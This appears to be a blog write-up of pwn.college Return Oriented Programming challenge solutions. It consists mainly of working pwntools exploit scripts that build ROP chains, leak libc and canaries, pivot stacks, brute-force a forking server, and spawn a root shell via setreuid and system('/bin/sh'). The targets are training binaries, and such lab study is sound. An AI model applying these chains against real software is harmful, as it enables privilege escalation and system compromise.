pwn.college-pro sec-_Return Oriented Programming

Welcome to back

Return Oriented Programming

Calling Functions

1
2
3
4
5
6
7
8
9
In [8]: from pwn import *
...: p = process('/challenge/loose-link-easy')
...: offset = 56
...: win_addr = 0x401de0
...: payload = b'\x90' * offset + p64(win_addr)
...: out = p.recvuntil('the return address).')
...: p.send(payload)
...: out+=p.recvall(timeout = 2)
...: print(out.decode(errors='ignore'))

Call Chain (Easy)

1
2
3
4
5
6
7
8
9
10
In [1]: from pwn import *
...: p = process('/challenge/call-chain-easy')
...: offset = 40
...: win_addr_1 = 0x401a91
...: win_addr_2 = 0x401b3e
...: payload = b'\x90' * offset + p64(win_addr_1) + p64(win_addr_2)
...: #out = p.recvuntil('the return address).')
...: p.send(payload)
...: out=p.recvall(timeout = 2)
...: print(out.decode(errors='ignore'))

Call Chain (Hard)

Chain of Command (Easy)

we find 5 win_funs

set edi = 1,2,3,4,5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
In [3]: from pwn import *
...: p = process('/challenge/chain-of-command-easy')
...: offset = 0x88
...: win_addr_1 = 0x4021f1
...: win_addr_2 = 0x4023af
...: win_addr_3 = 0x4022cd
...: win_addr_4 = 0x40248f
...: win_addr_5 = 0x402575
...: pop_rdi_ret = 0x402973
...: payload = (b'\x90' * offset +p64(pop_rdi_ret) +p64(0x1) + p64(win_addr_1) +
...: p64(pop_rdi_ret) +p64(0x2) + p64(win_addr_2) +
...: p64(pop_rdi_ret) +p64(0x3) + p64(win_addr_3) +
...: p64(pop_rdi_ret) +p64(0x4) + p64(win_addr_4) +
...: p64(pop_rdi_ret) +p64(0x5) + p64(win_addr_5) )
...: out = p.recvuntil('the return address).')
...: p.send(payload)
...: out+=p.recvall(timeout = 2)
...: print(out.decode(errors='ignore'))

Chain of Command (Hard)

Chaining Gadgets

Stop, Pop, and ROP (Easy)

at the challenge, we have no win_fun

offset = 0x88 =136

Stop, Pop, and ROP (Hard)

Stop, Pop, and ROP ll (Easy)

without leak

offset = 0x68 =104

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
In [2]: from pwn import *
...:
...: p = process('/challenge/stop-pop-and-rop2-easy')
...: #p.recvuntil("located at: ")
...: #buf_addr = int(p.recvline().strip().decode(), 16)
...: #buf_addr = int(p.recvline().decode().strip().strip('.'), 16)
...: buf_addr = 0x405200
...: print(f"Target Buffer Address: {hex(buf_addr)}")
...: pop_rax = 0x00000000004026e8
...: pop_rdi = 0x00000000004026df
...: pop_rsi = 0x00000000004026ff
...: pop_rdx = 0x00000000004026f0
...: syscall = 0x000000000040270f
...: chain = [
...: # read(0, buf_addr, 8)
...: pop_rax, 0,
...: pop_rdi, 0,
...: pop_rsi, buf_addr,
...: pop_rdx, 8,
...: syscall,
...: #open("/flag",0)
...: pop_rax, 2,
...: pop_rdi, buf_addr,
...: pop_rsi, 0,
...: pop_rdx, 0,
...: syscall,
...: #read(fd,buffer,0x99)
...: pop_rax, 0,
...: pop_rdi, 3,
...: pop_rsi, buf_addr,
...: pop_rdx, 0x99,
...: syscall,
...: #write(1,buffer,0x99)
...: pop_rax, 1,
...: pop_rdi, 1,
...: pop_rsi, buf_addr,
...: pop_rdx, 0x99,
...: syscall
...: ]
...: payload = b"\x90" *104
...: for addr in chain:
...: payload += p64(addr)
...: p.sendline(payload)
...: p.sendline(b'/flag\x00\x00\x00')
...: out=p.recvall(timeout = 2)
...: print(out.decode(errors='ignore'))
...: p.close()

Stop, Pop, and ROP ll (Hard)

Indirect Invocation (Easy)

no syscall

wow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
In [1]: from pwn import *
...:
...: p = process('/challenge/indirect-invocation-easy')
...: #p.recvuntil("located at: ")
...: #buf_addr = int(p.recvline().strip().decode(), 16)
...: #buf_addr = int(p.recvline().decode().strip().strip('.'), 16)
...: buf_addr = 0x405200
...: print(f"Target Buffer Address: {hex(buf_addr)}")
...: offset = 0x78
...: #pop_rax = 0x00000000004014f2
...: pop_rdi = 0x00000000004026f4
...: pop_rsi = 0x00000000004026fc
...: pop_rdx = 0x000000000040270c
...: #syscall = 0x00000000004014d2
...: pop_rcx = 0x0000000000402704
...: open_addr = 0x4011d0
...: sendfile_addr = 0x4011a0
...: read_addr = 0x401160
...: chain = [
...: # read(0, buf_addr, 8)
...: #pop_rax, 0,
...: pop_rdi, 0,
...: pop_rsi, buf_addr,
...: pop_rdx, 8,
...: #syscall,
...: read_addr,
...: #open("/flag",0)
...: #pop_rax, 2,
...: pop_rdi, buf_addr,
...: pop_rsi, 0,
...: pop_rdx, 0,
...: #syscall,
...: open_addr,
...: #sendfile(1, 3, 0, 0x99)
...: pop_rdi,1,
...: pop_rsi,3,
...: pop_rdx,0,
...: pop_rcx,0x99,
...: sendfile_addr
...:
...: ]
...: payload = b"\x90" *offset
...: for addr in chain:
...: payload += p64(addr)
...: p.sendline(payload)
...: p.sendline(b'/flag\x00\x00\x00')
...: out=p.recvall(timeout = 2)
...: print(out.decode(errors='ignore'))
...: p.close()

Indirect Invocation (Hard)

Leveraging Libc

Leaky Libc (Easy)

Utilize a libc leak to ROP with libc!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
In [1]: from pwn import *
...: context(arch='amd64', os='linux')
...:
...: p = process('/challenge/leveraging-libc-easy')
...: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
...: buf_addr = 0x404200
...: print(f"Target Buffer Address: {hex(buf_addr)}")
...: offset = 0x88
...: r = ROP(p.elf)
...: p.recvuntil(b"[LEAK] The address of \"system\" in libc is: ")
...: sys_addr = int(p.recvline().decode().strip().strip('.'), 16)
...: print("sys_addr:", hex(sys_addr))
...: libc.address = sys_addr - libc.symbols['system']
...: binsh_addr = next(libc.search(b'/bin/sh'))
...: setreuid_addr = libc.symbols['setreuid']
...: print("setreuid_addr", hex(setreuid_addr))
...: print("binsh_addr", hex(binsh_addr))
...: rop = ROP(libc)
...: ruid = 0
...: euid = 0
...: rop.raw(rop.rdi)
...: rop.raw(ruid)
...: rop.raw(rop.rsi)
...: rop.raw(euid)
...: rop.raw(setreuid_addr)
...: rop.raw(rop.rdi)
...: rop.raw(binsh_addr)
...: rop.raw(sys_addr)
...: payload = b"\x90" *offset
...:
...: payload += rop.chain()
...: p.sendline(payload)
...: p.interactive()
...: #p.sendline(b'/flag\x00\x00\x00')
...: #out=p.recvall(timeout = 2)
...: #print(out.decode(errors='ignore'))
...: #p.close()

Leaky Libc (Hard)

Putsception (Easy)

ROP with libc, no free leak this time!

offset = 0x38

we can use puts_fun to leak puts.got

位置 内存地址 存放的内容 (Value) 逻辑意义
GOT 条目 <font style="color:rgb(68, 71, 70);">0x405028</font> <font style="color:rgb(68, 71, 70);">0x79059c5f4420</font> 指向 Libc 中 <font style="color:rgb(68, 71, 70);">puts</font>
的指针
Libc 代码区 <font style="color:rgb(68, 71, 70);">0x79059c5f4420</font> <font style="color:rgb(68, 71, 70);">0xfa1e0ff3...</font>
(<font style="color:rgb(68, 71, 70);">endbr64</font>
)
<font style="color:rgb(68, 71, 70);">puts</font>
函数真正的机器码指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
In [3]: from pwn import *
...: context(arch='amd64', os='linux')
...: p = process('/challenge/putsception-easy')
...: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
...: offset = 0x38
...: ret_addr = 0x40101a
...: r = ROP(p.elf)
...: e = p.elf
...: r = ROP(e)
...: r.raw(r.rdi)
...: r.raw(e.got['puts'])
...: r.raw(e.plt['puts'])
...: r.raw(e.symbols['_start'])
...: payload1 = b'\x90' * offset + r.chain()
...: p.sendline(payload1)
...: p.recvuntil(b"Leaving!\n")
...: raw_leak = p.recv(6)
...: puts_addr = u64(raw_leak.ljust(8, b"\x00"))
...: #gdb.attach(p)
...: print(hex(puts_addr))
...: libc.address = puts_addr - libc.symbols['puts']
...: binsh_addr = next(libc.search(b'/bin/sh'))
...: setreuid_addr = libc.symbols['setreuid']
...: sys_addr = libc.symbols['system']
...: rop = ROP(libc)
...: #rop.raw(ret_addr)
...: #rop.raw(ret_addr)
...: ruid = 0
...: euid = 0
...: rop.raw(rop.rdi)
...: rop.raw(ruid)
...: rop.raw(rop.rsi)
...: rop.raw(euid)
...: rop.raw(setreuid_addr)
...: rop.raw(rop.rdi)
...: rop.raw(binsh_addr)
...: rop.raw(sys_addr)
...: payload = b"\x90" *offset
...: p.recvuntil(b"the binary by returning to its entrypoint.")
...: payload += rop.chain()
...: p.sendline(payload)
...: p.interactive()

Putsception (Hard)

Stack Pivoting Challenges

Pivotal Prelude (Easy)

Perform a stack pivot to gain control flow!

read 0x1000 to 0x4140e0

copy top 24bytes to rbp + 8 -> ret_addr

start privilege

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
In [2]: from pwn import *
...: context(arch='amd64', os='linux')
...:
...: p = process('/challenge/pivotal-prelude-easy')
...: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
...: offset = 0
...: read_addr = 0x401a32
...: r = ROP(p.elf)
...: e = p.elf
...: r = ROP(e)
...: r.raw(r.rbp)
...: r.raw(0x4140f8)
...: r.raw(r.leave)
...: r.raw(0x414200)
...: r.raw(r.rdi)
...: r.raw(e.got['puts'])
...: r.raw(e.plt['puts'])
...: r.raw(read_addr)
...: payload1 = b'\x90' * offset + r.chain()
...: p.sendline(payload1)
...: p.recvuntil(b"Leaving!\n")
...: raw_leak = p.recv(6)
...: puts_addr = u64(raw_leak.ljust(8, b"\x00"))
...: #gdb.attach(p)
...: pause()
...: print(hex(puts_addr))
...: libc.address = puts_addr - libc.symbols['puts']
...: binsh_addr = next(libc.search(b'/bin/sh'))
...: setreuid_addr = libc.symbols['setreuid']
...: sys_addr = libc.symbols['system']
...: rop = ROP(libc)
...: ruid = 0
...: euid = 0
...: rop.raw(rop.rdi)
...: rop.raw(ruid)
...: rop.raw(rop.rsi)
...: rop.raw(euid)
...: rop.raw(setreuid_addr)
...: rop.raw(rop.rdi)
...: rop.raw(binsh_addr)
...: rop.raw(sys_addr)
...: payload = b"\x90" *56
...: #p.recvuntil(b"Welcome to /challenge/putsception-hard!")
...: payload += rop.chain()
...: p.sendline(payload)
...: p.interactive()

Pivotal Prelude (Hard)

Pivotal Pointer (Easy)

wow

we have input buffer address

buffer -8bytes = pointer_win

so, fake_rbp = buffer-8-8= buf -0x10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
In [1]: from pwn import *
...:
...: context.arch = 'amd64'
...: offset = 0x38
...: while 1:
...: p = process('/challenge/pivotal-pointer-easy')
...: p.recvuntil(b'Your input buffer is located at: ')
...: line = p.recvline().strip().strip(b'.')
...: leak = int(line, 16)
...: print(f"Leak: {hex(leak)}")
...: padding = b'A' * offset
...: fake_rbp = leak - 0x10
...: payload = padding + p64(fake_rbp) + p16(0x1e2f)
...: p.send(payload)
...: out = p.recvall(timeout=0.5)
...: if b'pwn' in out:
...: print(output.decode(errors='replace'))
...: break
...:
...: p.close()

Pivotal Pointer (Hard)

offset = 0x50-0x8 = 0x48

Pivotal Payload (Easy)

easy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
In [1]: from pwn import *
...:
...: context.arch = 'amd64'
...: offset = 0x68
...: while 1:
...: p = process('/challenge/pivotal-payload-easy')
...: p.recvuntil(b'Your input buffer is located at: ')
...: line = p.recvline().strip().strip(b'.')
...: leak = int(line, 16)
...: print(f"Leak: {hex(leak)}")
...: padding = b'A' * offset
...: fake_rbp = leak - 0x10
...: payload = padding + p64(fake_rbp) + p16(0x285e)
...: p.send(payload)
...: out = p.recvall(timeout=0.5)
...: if b'pwn' in out:
...: print(out.decode(errors='replace'))
...: break
...:
...: p.close()
...:

Pivotal Payload (Hard)

Pivotal Pursuit (Easy)

no challenge_fun???

so, we have to get leave;ret at libc

0x00000000000578c8 : leave ; ret

good

offset = 0x58

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

In [2]: from pwn import *
...:
...: context.arch = 'amd64'
...: offset = 0x58
...: while 1:
...: p = process('/challenge/pivotal-pursuit-easy')
...: p.recvuntil(b'Your input buffer is located at: ')
...: line = p.recvline().strip().strip(b'.')
...: leak = int(line, 16)
...: print(f"Leak: {hex(leak)}")
...: padding = b'\x90' * offset
...: fake_rbp = leak - 0x10
...: payload = padding + p64(fake_rbp) + p16(0x78c8) + p8(0x65)
...: p.send(payload)
...: out = p.recvall(timeout=0.5)
...: if b'pwn' in out:
...: print(out.decode(errors='replace'))
...: break
...:
...: p.close()

Pivotal Pursuit (Hard)

offset = 0x68

Exploitation

Guarded Gadgets (Easy)

we can leak canary

scanf(“%lx”, &addr) and printf

then, read

0x00000000000022f0 <+44>: mov QWORD PTR [rbp-0x8],rax

canary is here

offset_canary=0x80 - 0x8 = 0x78

offset = 0x78 +8+8 =0x88

Offset = 0x7449948c6083 - 0x7449948a2000 = 0x24083

libc_base = ret_Leak - 0x24083

call main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
In [2]: from pwn import *
...: context(arch='amd64', os='linux')
...:
...: p = process('/challenge/guarded-gadgets-easy')
...: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
...: offset = 0x78
...: #r = ROP(p.elf)
...: #e = p.elf
...: p.recvuntil(b'located at: ')
...: input_buf = int(p.recvline().strip()[:-1], 16)
...: canary_addr = input_buf + 0x78
...: p.sendlineafter(b'from:\n', hex(canary_addr).encode('utf-8'))
...: p.recvuntil(b' = ')
...: canary = p.recvline().strip()
...: canary = int(canary, 16)
...: print("canary:", hex(canary))
...: payload1 = b'\x90'*offset + p64(canary) + p64(0x0) + p8(0x3f)
...: p.send(payload1)
...: #second!!!!!
...: ret_libc_addr = input_buf + 0x88
...: #p.sendlineafter(b'Address in hex to read from:\n', hex(ret_libc_addr).encode('utf-8'))
...: p.sendline(hex(ret_libc_addr).encode())
...: p.recvuntil(b' = ')
...: libc_base = int(p.recvline().strip(), 16) - 0x24083
...: print("libc_base:", libc_base)
...: libc.address = libc_base
...: binsh_addr = next(libc.search(b'/bin/sh'))
...: setreuid_addr = libc.symbols['setreuid']
...: sys_addr = libc.symbols['system']
...: rop = ROP(libc)
...: ruid = 0
...: euid = 0
...: rop.raw(rop.rdi)
...: rop.raw(ruid)
...: rop.raw(rop.rsi)
...: rop.raw(euid)
...: rop.raw(setreuid_addr)
...: rop.raw(rop.rdi)
...: rop.raw(binsh_addr)
...: rop.raw(sys_addr)
...: payload = b"\x90" *0x78
...: payload += p64(canary) + p64(0x0)+rop.chain()
...: p.sendline(payload)
...: p.interactive()

Guarded Gadgets (Hard)

offset = 0x58

wow

same as before

ROP Roulette (Easy)

forkserver?

offset_canary=0x38

:(

0x00000000000024ca main

?????

wtf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *

context.arch = "amd64"
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level = 'warn'
padding = b'\x90' * 0x38

# --- 爆破 Canary ---
canary = b"\x00"
print("开始爆破 Canary...")
for i in range(7):
for b in range(256):
try:
p = remote('127.0.0.1', 1337)
p.sendafter(b'scenario.\n', padding + canary + bytes([b]))
out = p.recvall(timeout=0.5)
p.close()

if b'smashing detected ***: terminated' not in out:
canary += bytes([b])
print(f"找到 Canary 第 {i+2} 位: {hex(b)}")
break
except:
continue

print("canary:", hex(u64(canary)))

# --- 爆破 main_addr (PIE) ---
main_addr = b''
print("开始爆破 main_addr...")
for i in range(8):
for b in range(256):
try:
p = remote('127.0.0.1', 1337)
# 构造爆破 payload: padding + canary + rbp + 已爆破出的地址部分 + 尝试位
payload = padding + canary + p64(0xdeadbeef) + main_addr + bytes([b])
p.sendafter(b'scenario.\n', payload)
out = p.recvall(timeout=0.5)
p.close()

if b'### Goodbye!' in out:
main_addr += bytes([b])
print(f"找到 main_addr 第 {i+1} 位: {hex(b)}")
break
except:
continue

print("main_addr:", hex(u64(main_addr)))

# leak libc_addr
p = remote('127.0.0.1', 1337)
pro = process("/challenge/rop-roulette-easy")
e = pro.elf
# 使用爆破出的地址计算基址
e.address = u64(main_addr) - 0x2693

r = ROP(e)
r.raw(r.rdi)
r.raw(e.got['puts'])
r.raw(e.plt['puts'])

payload = padding + canary + p64(0xdeadbeef) + r.chain()
p.sendafter(b'scenario.\n', payload)

p.recvuntil(b'Leaving!\n')
puts_got_addr = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = puts_got_addr - libc.symbols['puts']

print("puts_got_addr:", hex(puts_got_addr))
print("libc_addr", hex(libc.address))
print("main_addr:", hex(u64(main_addr)))
print("main_base_addr:", hex(e.address))

# Get Shell
sys_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
setreuid_addr = libc.symbols['setreuid']

rop = ROP(libc)
ruid = 0
euid = 0
rop.raw(rop.rdi)
rop.raw(ruid)
rop.raw(rop.rsi)
rop.raw(euid)
rop.raw(setreuid_addr)
rop.raw(rop.rdi)
rop.raw(binsh_addr)
rop.raw(sys_addr)

payload = padding + canary + p64(0x0) + rop.chain()
p = remote('127.0.0.1', 1337)
p.sendafter(b'scenario.\n', payload)
p.interactive()

?????

restart

ROP Roulette (Hard)

rm sendafter

Libc Lottery (Easy)

no challenge

0x38

at __libc_start_main

same as Guarded Gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
In [1]: from pwn import *
...:
...: context.arch = "amd64"
...: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
...: context.log_level = 'warn'
...: padding = b'\x90' * 0x38
...:
...: # --- 爆破 Canary ---
...: canary = b"\x00"
...: print("开始爆破 Canary...")
...: for i in range(7):
...: for b in range(256):
...: try:
...: p = remote('127.0.0.1', 1337)
...: p.send(padding + canary + bytes([b]))
...: out = p.recvall(timeout=0.5)
...: p.close()
...:
...: if b'smashing detected ***: terminated' not in out:
...: canary += bytes([b])
...: print(f"找到 Canary 第 {i+2} 位: {hex(b)}")
...: break
...: except:
...: continue
...:
...: print("canary:", hex(u64(canary)))
...:
...: libc_addr = p8(0x60)
...: print("开始爆破 libc_addr...")
...: for i in range(len(libc_addr), 8):
...: for b in range(256):
...: p = None
...: try:
...: p = remote('127.0.0.1', 1337)
...: test_byte = bytes([b])
...: payload = padding + canary + p64(0xdeadbeef) + libc_addr + test_byte
...:
...: p.send(payload)
...: out = p.recvall(timeout=0.2)
...:
...: if b'### Welcome to' in out:
...: libc_addr += test_byte
...: print(f"[+] 成功爆破第 {i+1} 字节: {hex(b)}")
...: p.close()
...: break
...:
...: p.close()
...:
...: except EOFError:
...: if p: p.close()
...: continue
...: except Exception as e:
...: if p: p.close()
...: continue
...:
...: print("libc_addr:", hex(u64(libc_addr)))
...:
...: # leak libc_addr
...: p = remote('127.0.0.1', 1337)
...: #pro = process("/challenge/libc-lottery-easy")
...: libc.address = u64(libc_addr) - 0x24060
...: print("libc_addr", hex(libc.address))
...: # Get Shell
...: sys_addr = libc.symbols['system']
...: binsh_addr = next(libc.search(b'/bin/sh'))
...: setreuid_addr = libc.symbols['setreuid']
...:
...: rop = ROP(libc)
...: ruid = 0
...: euid = 0
...: rop.raw(rop.rdi)
...: rop.raw(ruid)
...: rop.raw(rop.rsi)
...: rop.raw(euid)
...: rop.raw(setreuid_addr)
...: rop.raw(rop.rdi)
...: rop.raw(binsh_addr)
...: rop.raw(sys_addr)
...:
...: payload = padding + canary + p64(0x0) + rop.chain()
...: p = remote('127.0.0.1', 1337)
...: p.send(payload)
...: p.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
In [2]: from pwn import *
...: import subprocess
...:
...: def kill_processes():
...: try:
...: pids = subprocess.check_output(["pgrep", "-f", "libc-lottery-easy"]).decode().split()
...: if len(pids) > 1:
...: subprocess.run(["kill", "-9", pids[1]], check=True)
...: except subprocess.CalledProcessError:
...: pass
...: context.arch = "amd64"
...: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
...: context.log_level = 'warn'
...: padding = b'\x90' * 0x38
...:
...: # --- 爆破 Canary ---
...: canary = b"\x00"
...: print("开始爆破 Canary...")
...: for i in range(7):
...: for b in range(256):
...: try:
...: p = remote('127.0.0.1', 1337)
...: p.send(padding + canary + bytes([b]))
...: out = p.recvall(timeout=0.5)
...: p.close()
...:
...: if b'smashing detected ***: terminated' not in out:
...: canary += bytes([b])
...: print(f"找到 Canary 第 {i+2} 位: {hex(b)}")
...: break
...: except:
...: continue
...:
...: print("canary:", hex(u64(canary)))
...:
...: libc_addr = p8(0x60)
...: print("开始爆破 libc_addr...")
...: for i in range(len(libc_addr), 8):
...: for b in range(256):
...: kill_processes()
...: try:
...: p = remote('127.0.0.1', 1337)
...: test_byte = bytes([b])
...: payload = padding + canary + p64(0xdeadbeef) + libc_addr + test_byte
...:
...: p.send(payload)
...: out = p.recvall(timeout=0.2)
...:
...: if b'### Welcome to' in out:
...: libc_addr += test_byte
...: print(f"[+] 成功爆破第 {i+1} 字节: {hex(b)}")
...: p.close()
...: break
...:
...: p.close()
...:
...: except EOFError:
...: if p: p.close()
...: continue
...: except Exception as e:
...: if p: p.close()
...: continue
...:
...: print("libc_addr:", hex(u64(libc_addr)))
...:
...: # leak libc_addr
...: p = remote('127.0.0.1', 1337)
...: #pro = process("/challenge/libc-lottery-easy")
...: libc.address = u64(libc_addr) - 0x24060
...: print("libc_addr", hex(libc.address))
...: # Get Shell
...: sys_addr = libc.symbols['system']
...: binsh_addr = next(libc.search(b'/bin/sh'))
...: setreuid_addr = libc.symbols['setreuid']
...:
...: rop = ROP(libc)
...: ruid = 0
...: euid = 0
...: rop.raw(rop.rdi)
...: rop.raw(ruid)
...: rop.raw(rop.rsi)
...: rop.raw(euid)
...: rop.raw(setreuid_addr)
...: rop.raw(rop.rdi)
...: rop.raw(binsh_addr)
...: rop.raw(sys_addr)
...:
...: payload = padding + canary + p64(0x0) + rop.chain()
...: p = remote('127.0.0.1', 1337)
...: p.send(payload)
...: p.interactive()

Libc Lottery (Hard)


pwn.college-pro sec-_Return Oriented Programming
https://ghostshark-pro.github.io/2026/04/23/pwn.college-pro sec-_Return Oriented Programming/
Author
shark
Posted
2026年4月23日
License